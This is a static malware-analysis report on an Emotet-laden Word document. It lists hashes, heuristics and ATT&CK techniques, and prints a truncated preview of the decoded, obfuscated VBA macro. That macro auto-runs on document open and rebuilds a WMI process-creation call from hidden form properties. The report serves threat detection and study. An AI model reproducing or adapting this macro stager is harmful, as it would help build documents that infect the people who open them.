Emotet — Office (OLE) malware analysis

Static analysis result for SHA-256 cf9b529d3804b727…

MALICIOUS

Office (OLE)

232.0 KB Created: 2020-08-12 14:55:00 Authoring application: Microsoft Office Word First seen: 2020-09-07
MD5: 13b4e3627717f2339bb5cd6e35d172e5 SHA-1: f79c2f736e66654e56014fb0547d032ba368657c SHA-256: cf9b529d3804b7276ba3259d50866dd5ff76205512fbb1141ef9b35a6b95f71f
262 Risk Score

Malware Insights

Emotet · confidence 95%

MITRE ATT&CK
T1059.005 Visual Basic T1566.001 Spearphishing Attachment T1203 Exploitation for Client Execution

The sample is identified as malicious by ClamAV with a specific Emotet signature. Critical heuristics indicate the presence of a VBA UserForm hidden-property command stager that uses `CreateObject` and auto-executes via `Document_open`. This pattern is characteristic of Emotet's initial infection vector, which typically involves downloading and executing a second-stage payload.

Heuristics 7

  • ClamAV: Doc.Malware.Emotet-9299869-0 critical CLAMAV_DETECTION
    ClamAV detected this file as malware: Doc.Malware.Emotet-9299869-0
  • VBA macros detected medium 4 related findings OLE_VBA_MACROS
    Document contains VBA macro code
  • VBA UserForm hidden-property command stager critical OLE_VBA_USERFORM_HIDDEN_COMMAND_STAGER
    VBA auto-exec macro creates a COM object from a decoded variable and reconstructs command text through Split/Join and hidden UserForm properties such as ControlTipText, Tag, Pages, or HelpContextId. This is a high-confidence macro downloader/loader shape seen in the reviewed OLE set, but it is not an Office CVE exploit primitive.
  • Document_Open macro high OLE_VBA_DOCOPEN
    Document_Open macro
  • CreateObject call high OLE_VBA_CREATEOBJ
    CreateObject call
  • VBA p-code auto-exec with execution tokens high OLE_VBA_PCODE_AUTOEXEC_EXEC
    Compiled VBA/cache stream contains an auto-execution token together with shell/download/object-execution tokens. This catches p-code-only or source-extraction-failure macro documents where visible source is unavailable.
  • Embedded URL info EMBEDDED_URL
    One or more URLs were extracted from the document. The URL itself is not a detection — see the per-URL labels for which channel (macro, JS, link annotation, document body, ...) reached each URL.
    URL http://schemas.openxmlformats.org/drawingml/2006/main In document text (OLE body)

Extracted artifacts 1

Files carved from inside the sample during analysis.

FilenameKindSourceSize
macros.bas vba-macro oletools.olevba.extract_macros (decoded VBA source) 4190 bytes
SHA-256: 7d681a7f7fd8c6dd0805765815254d3377d477058c24770f7f20bd579849c878
Preview script
First 1,000 lines of the extracted script
Attribute VB_Name = "VYWEDbzzhegxd"
Attribute VB_Base = "1Normal.ThisDocument"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = True
Attribute VB_TemplateDerived = True
Attribute VB_Customizable = True
Private Sub _
Document_open()
PFXTPatpnzzgup.SUZXAijwtwtzhu
End Sub


Attribute VB_Name = "PFXTPatpnzzgup"
Attribute VB_Base = "0{64E5710A-5FEC-43A1-A4DB-589F1E289F63}{0087BE55-9A37-403A-9286-E5A368EE6857}"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = False
Attribute VB_TemplateDerived = False
Attribute VB_Customizable = False
Function SUZXAijwtwtzhu()
Dim BWSVNsu As Boolean
Dim Ni7 As Integer
For Ni7 = 9 To 1 + 5
DoEvents
Next Ni7
Dim Y0rZv5Í As String
Y0rZv5Í = Replace$("Dr7Êseqt2ÄjGQVO0áS", "Dr7Êseq", "tvaMYrmoEn")
MTCCXzwavputbmi = PFXTPatpnzzgup.Zoom
Dim qalqj4 As Long
BMNNQvpmnoijsuz = ChrW(MTCCXzwavputbmi + ((30 + 60 + 30) / (4 + 4)))
Dim yhtNIK As String
yhtNIK = Replace$("nKdCkXpeHroHmmAV", "nKdCkX", "vm6åKdYMpZW")
HUUGOzparrszgpqjpg = "[jhkgab&*$%R s shs qw e21 23 12u3h[jhkgab&*$%R s shs qw e21 23 12u3hw[jhkgab&*$%R s shs qw e21 23 12u3hi[jhkgab&*$%R s shs qw e21 23 12u3hnm[jhkgab&*$%R s shs qw e21 23 12u3h[jhkgab&*$%R s shs qw e21 23 12u3hgm[jhkgab&*$%R s shs qw e21 23 12u3ht[jhkgab&*$%R s shs qw e21 23 12u3h[jhkgab&*$%R s shs qw e21 23 12u3h" + BMNNQvpmnoijsuz + "[jhkgab&*$%R s shs qw e21 23 12u3h[jhkgab&*$%R s shs qw e21 23 12u3h:[jhkgab&*$%R s shs qw e21 23 12u3hw[jhkgab&*$%R s shs qw e21 23 12u3hin[jhkgab&*$%R s shs qw e21 23 12u3h[jhkgab&*$%R s shs qw e21 23 12u3h3[jhkgab&*$%R s shs qw e21 23 12u3h2[jhkgab&*$%R s shs qw e21 23 12u3h_[jhkgab&*$%R s shs qw e21 23 12u3h" + PFXTPatpnzzgup.BFKHWfurbwcbpg + "[jhkgab&*$%R s shs qw e21 23 12u3hro[jhkgab&*$%R s shs qw e21 23 12u3h[jhkgab&*$%R s shs qw e21 23 12u3hce[jhkgab&*$%R s shs qw e21 23 12u3hs[jhkgab&*$%R s shs qw e21 23 12u3hs[jhkgab&*$%R s shs qw e21 23 12u3h"
Dim k5ÂIKQgoU As Integer
For k5ÂIKQgoU = 6 To 6 + 8
DoEvents
Next k5ÂIKQgoU
ZPYPVvmxfvvio = WHDTHdlyzmjiayytux(HUUGOzparrszgpqjpg)
Dim sEIBnP As Integer
For sEIBnP = 2 To 7 + 6
DoEvents
Next sEIBnP
Set HPIVCboplctzwgnirdz = CreateObject(ZPYPVvmxfvvio)
Dim UVabibq As String
UVabibq = Replace$("ycBj1ÖTOSybqjOVnKd", "ycBj1ÖTOSy", "SFSnvA5Õ")
ZJPWOgcaxczn = PFXTPatpnzzgup.OOFCXtcvialzkskkrqe.ControlTipText
Dim rpeHroH As Integer
For rpeHroH = 4 To 7 + 1
DoEvents
Next rpeHroH
NRNVDllnntsvlbvj = wr3 + (ZPYPVvmxfvvio + BMNNQvpmnoijsuz + PFXTPatpnzzgup.MOOPIjwsmixxcqowgsi.ControlTipText + ZJPWOgcaxczn)
Dim wvmmrH As Date
LGQOGspdncuxe = NRNVDllnntsvlbvj + PFXTPatpnzzgup.BFKHWfurbwcbpg
Dim MpZWoUV As Currency
Set LNXMTncabhealgb = ZGUODbwkviccfgp(LGQOGspdncuxe)
Dim CsIPfnFcJ As Integer
For CsIPfnFcJ = 5 To 4 + 1
DoEvents
Next CsIPfnFcJ
yu = Array(assq + "jhiay qyyww", HPIVCboplctzwgnirdz. _
Create(CZCSPawwfqdbeajcrd, JNYEQlsytcyukwwrvck, LNXMTncabhealgb), masb1 + ":ghass utq wqgd")
Dim q4ÍwkMhcg As Integer
For q4ÍwkMhcg = 4 To 5 + 6
DoEvents
Next q4ÍwkMhcg
End Function
Function ZGUODbwkviccfgp(BYMVWvfecjdke)
Set ZGUODbwkviccfgp = CreateObject(BYMVWvfecjdke)
Dim OyVTtsivo As Byte
ZGUODbwkviccfgp. _
showwindow = QUTVKhxnmgcbya + JYANChcfoedfeqsjbk
Dim Y1áM As Integer
For Y1áM = 1 To 7 + 3
DoEvents
Next Y1áM
End Function
Function WHDTHdlyzmjiayytux(FIBLHodbcvpizwnb)
XIMEGdgvzkqaix = FIBLHodbcvpizwnb
Dim L4áNd6Ámj As Byte
WOZCXxagqdbpmtymglw = Split _
(XIMEGdgvzkqaix, "[jhkgab&*$%R s shs qw e21 23 12u3h")
Dim BXimg3Í As Integer
For BXimg3Í = 9 To 1 + 3
DoEvents
Next BXimg3Í
FTMCCbwfqvkzddno = xz + Join(WOZCXxagqdbpmtymglw, cvw)
Dim eqKEGj1ÅnOB As String
eqKEGj1ÅnOB = Replace$("Ssrh6ÈYuMTnpOyVT", "Ssrh6ÈY", "beJuHaVX")
WHDTHdlyzmjiayytux = FTMCCbwfqvkzddno
Dim Iwwp As Double
End Function
Function CZCSPawwfqdbeajcrd()
j = PFXTPatpnzzgup.VPCRLimxbkfrdfxksa.Pages(vbOK).Tag
Dim mj0Ù As Long
CZCSPawwfqdbeajcrd = WHDTHdlyzmjiayytux(j)
Dim YB2ÏF4ÛsA As Integer
For YB2ÏF4Ûs
... (truncated)